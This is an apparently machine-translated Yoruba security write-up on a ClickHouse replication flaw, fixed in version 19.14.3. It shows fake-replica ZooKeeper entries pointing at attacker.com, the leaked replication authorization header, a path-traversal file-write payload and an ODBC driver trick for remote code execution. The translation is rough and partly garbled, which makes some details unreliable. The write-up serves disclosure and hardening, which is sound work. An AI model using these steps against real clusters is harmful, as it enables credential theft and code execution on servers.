Nkan yii yoo sọ itan-akọọlẹ ti ailagbara kan pato ninu ilana isọdọtun ClickHouse, ati pe yoo tun ṣafihan bii dada ikọlu le ṣe faagun.
ClickHouse jẹ ibi ipamọ data fun titoju awọn iwọn nla ti data, pupọ julọ ni lilo diẹ ẹ sii ju ẹyọkan lọ. Iṣjọpọ ati ẹda ni ClickHouse ti wa ni itumọ ti oke
Fifi sori ZK aiyipada ko nilo ijẹrisi, nitorinaa ẹgbẹẹgbẹrun awọn olupin ZK ti a lo lati tunto Kafka, Hadoop, ClickHouse wa ni gbangba.
Lati dinku dada ikọlu rẹ, o yẹ ki o tunto ijẹrisi ati aṣẹ nigbagbogbo nigbati o ba nfi ZooKeeper sori ẹrọ
Nibẹ ni o wa dajudaju diẹ ninu awọn 0day orisun Java deserializations, ṣugbọn fojuinu wipe ohun attacker le ka ki o si kọ si ZooKeeper, lo fun ClickHouse atunse.
Nigbati o ba tunto ni ipo iṣupọ, ClickHouse ṣe atilẹyin awọn ibeere pinpin /clickhouse/task_queue/ddl
.
Fun apẹẹrẹ, o ṣẹda ipade kan /clickhouse/task_queue/ddl/query-0001
pẹlu akoonu:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
ati lẹhin naa, tabili idanwo naa yoo paarẹ lori olupin iṣupọ host1 ati host2. DDL tun ṣe atilẹyin ṣiṣe CREATE/ALTER/DROP awọn ibeere.
Ohun idẹruba? Ṣugbọn nibo ni ikọlu le gba awọn adirẹsi olupin?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
awọn apa yoo ṣẹda ọwọn и metadata.
Akoonu /clickhouse/tabili/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Ṣe o ṣee ṣe lati dapọ data lati inu iṣupọ yii? Bẹẹni, ti ibudo ẹda (TCP/9009
) lori olupin chXX-address
ogiriina kii yoo wa ni pipade ati pe ijẹrisi fun ẹda kii yoo tunto. Bawo ni lati fori ìfàṣẹsí?
Olukọni le ṣẹda ẹda tuntun ni ZK nipa didakọ awọn akoonu nikan lati /clickhouse/tables/01-01/foobar/replicas/chXX
ati iyipada itumo host
.
Akoonu /clickhouse/tabili/01-01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Lẹhinna o nilo lati sọ fun awọn ẹda miiran pe bulọọki data tuntun wa lori olupin ikọlu ti wọn nilo lati mu - ipade kan ti ṣẹda ni ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX
( counter ti ndagba monotonically XX, eyiti o yẹ ki o tobi ju eyi ti o kẹhin lọ ninu akọọlẹ iṣẹlẹ):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
nibi ti source_replica - orukọ ajọra ikọlu ti a ṣẹda ni igbesẹ ti tẹlẹ, block_id - idamo Àkọsílẹ data, gba - "gba Àkọsílẹ" pipaṣẹ (ati
Nigbamii ti, ẹda kọọkan ka iṣẹlẹ tuntun kan ninu akọọlẹ ati lọ si olupin ti o ṣakoso nipasẹ ikọlu lati gba bulọọki data kan (ilana ẹda jẹ alakomeji, nṣiṣẹ lori oke HTTP). Olupin attacker.com
yoo gba ibeere:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
nibiti XXX jẹ data ijẹrisi fun ẹda. Ni awọn igba miiran, eyi le jẹ akọọlẹ kan pẹlu iraye si ibi ipamọ data nipasẹ ilana akọkọ ClickHouse ati ilana HTTP. Gẹgẹbi o ti rii, dada ikọlu di pataki nla nitori ZooKeeper, ti a lo fun ẹda, ti fi silẹ laisi atunto ijẹrisi.
Jẹ ki a wo iṣẹ ti gbigba bulọọki data lati ẹda kan, o ti kọ pẹlu igbẹkẹle kikun pe gbogbo awọn ẹda wa labẹ iṣakoso to dara ati pe igbẹkẹle wa laarin wọn.
koodu processing atunse
Iṣẹ naa ka atokọ ti awọn faili, lẹhinna awọn orukọ wọn, titobi, awọn akoonu, ati lẹhinna kọ wọn si eto faili naa. O tọ lati ṣe apejuwe ni lọtọ bi o ṣe fipamọ data sinu eto faili naa.
Ọpọlọpọ awọn iwe-itọnisọna ni o wa ninu /var/lib/clickhouse
(Itọsọna ipamọ aiyipada lati faili iṣeto):
awọn asia - liana fun gbigbasilẹ
tmp - itọsọna fun titoju awọn faili igba diẹ;
olumulo_faili - awọn iṣẹ pẹlu awọn faili ni awọn ibeere ni opin si itọsọna yii (INTO OUTFILE ati awọn miiran);
metadata - sql awọn faili pẹlu awọn apejuwe tabili;
preprocessed_configs - ilọsiwaju itọsẹ iṣeto ni awọn faili lati /etc/clickhouse-server
;
data - itọsọna gangan pẹlu data funrararẹ, ninu ọran yii fun data data kọọkan ni iwe-itọsọna lọtọ lọtọ ni a ṣẹda nibi (fun apẹẹrẹ. /var/lib/clickhouse/data/default
).
Fun tabili kọọkan, a ṣẹda iwe-itọsọna kan ninu ilana ibi ipamọ data. Iwe kọọkan jẹ faili lọtọ ti o da lori
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Ẹda naa nireti lati gba awọn faili pẹlu awọn orukọ kanna nigbati o ba n ṣiṣẹ bulọọki data ati pe ko fọwọsi wọn ni eyikeyi ọna.
O ṣeeṣe ki oluka ti o tẹtisi ti gbọ tẹlẹ nipa isọdọkan ti ko lewu ti file_name ni iṣẹ kan WriteBufferFromFile
. Bẹẹni, eyi ngbanilaaye ikọlu lati kọ akoonu lainidii si faili eyikeyi lori FS pẹlu awọn ẹtọ olumulo clickhouse
. Lati ṣe eyi, ẹda ti o ṣakoso nipasẹ ikọlu gbọdọ da esi atẹle naa pada si ibeere naa (a ti ṣafikun awọn fifọ laini fun irọrun ti oye):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
ati lẹhin concatenation ../../../../../../../../../tmp/pwned
faili naa yoo kọ /tmp/pwn pẹlu akoonu hellofromzookeeper.
Awọn aṣayan pupọ wa fun titan agbara kikọ faili sinu ipaniyan koodu isakoṣo latọna jijin (RCE).
Awọn iwe-itumọ ita ni RCE
Ni awọn ẹya agbalagba, itọsọna pẹlu awọn eto ClickHouse ti wa ni ipamọ pẹlu awọn ẹtọ olumulo tẹ ile aiyipada. Awọn faili eto jẹ awọn faili XML ti iṣẹ naa ka ni ibẹrẹ ati lẹhinna awọn caches ni /var/lib/clickhouse/preprocessed_configs
. Nigbati awọn ayipada ba waye, wọn tun ka wọn. Ti o ba ni iwọle si /etc/clickhouse-server
olutayo le ṣẹda ti ara rẹ root
.
ODBC to RCE
Nigbati o ba nfi package kan sori ẹrọ, olumulo ti ṣẹda clickhouse
, ṣugbọn ilana ile rẹ ko ṣẹda /nonexistent
. Sibẹsibẹ, nigba lilo awọn iwe-itumọ ita, tabi fun awọn idi miiran, awọn alabojuto ṣẹda itọsọna kan /nonexistent
ki o si fun olumulo clickhouse
wiwọle lati kọ si (SSZB! isunmọ. onitumọ).
ClickHouse ṣe atilẹyin odbc-bridge
, nitorina ko ṣee ṣe lati pato ọna awakọ lati ibeere naa. Ṣugbọn ṣe ikọlu le kọwe si itọsọna ile nipa lilo ailagbara ti a ṣalaye loke?
Jẹ ki a ṣẹda faili kan ~/.odbc.ini
pẹlu akoonu bii eyi:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
lẹhinna ni ibẹrẹ SELECT * FROM odbc('DSN=lalala', 'test', 'test');
awọn ìkàwé yoo wa ni ti kojọpọ test.so
ati gba RCE (o ṣeun
Iwọnyi ati awọn ailagbara miiran ti wa titi ni ẹya ClickHouse 19.14.3. Ṣe abojuto ClickHouse ati ZooKeepers!
orisun: www.habr.com